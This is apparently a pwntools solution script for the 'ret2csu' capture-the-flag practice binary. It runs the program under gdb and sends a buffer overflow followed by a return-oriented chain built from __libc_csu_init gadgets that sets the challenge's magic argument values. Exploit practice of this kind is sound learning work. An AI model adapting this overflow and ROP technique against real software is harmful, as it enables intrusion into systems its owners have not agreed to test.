38 lines
655 B
Python
Executable File
38 lines
655 B
Python
Executable File
#!/usr/bin/env python3
|
|
from pwn import *
|
|
|
|
context.terminal = ['kitty', 'bash', '-c']
|
|
|
|
prog = gdb.debug('./ret2csu', gdbscript='b *0x40069a')
|
|
payload = b''
|
|
for c in range(40):
|
|
payload += b'a'
|
|
|
|
|
|
payload += p64(0x40069a) # __libc_csu_init()
|
|
|
|
payload += p64(19)
|
|
payload += p64(1)
|
|
payload += p64(0x601018)
|
|
payload += p64(0xdeadbeefdeadbeef)
|
|
payload += p64(0xcafebabecafebabe)
|
|
payload += p64(0xd00df00dd00df00d)
|
|
|
|
|
|
payload += p64(0x400680)
|
|
|
|
payload += p64(1)
|
|
payload += p64(2)
|
|
|
|
payload += p64(0x00000000004006a3)
|
|
payload += p64(0xdeadbeefdeadbeef)
|
|
|
|
payload += p64(0x0000000000400510)
|
|
|
|
|
|
|
|
payload += b"\n"
|
|
|
|
prog.sendline(payload)
|
|
prog.interactive()
|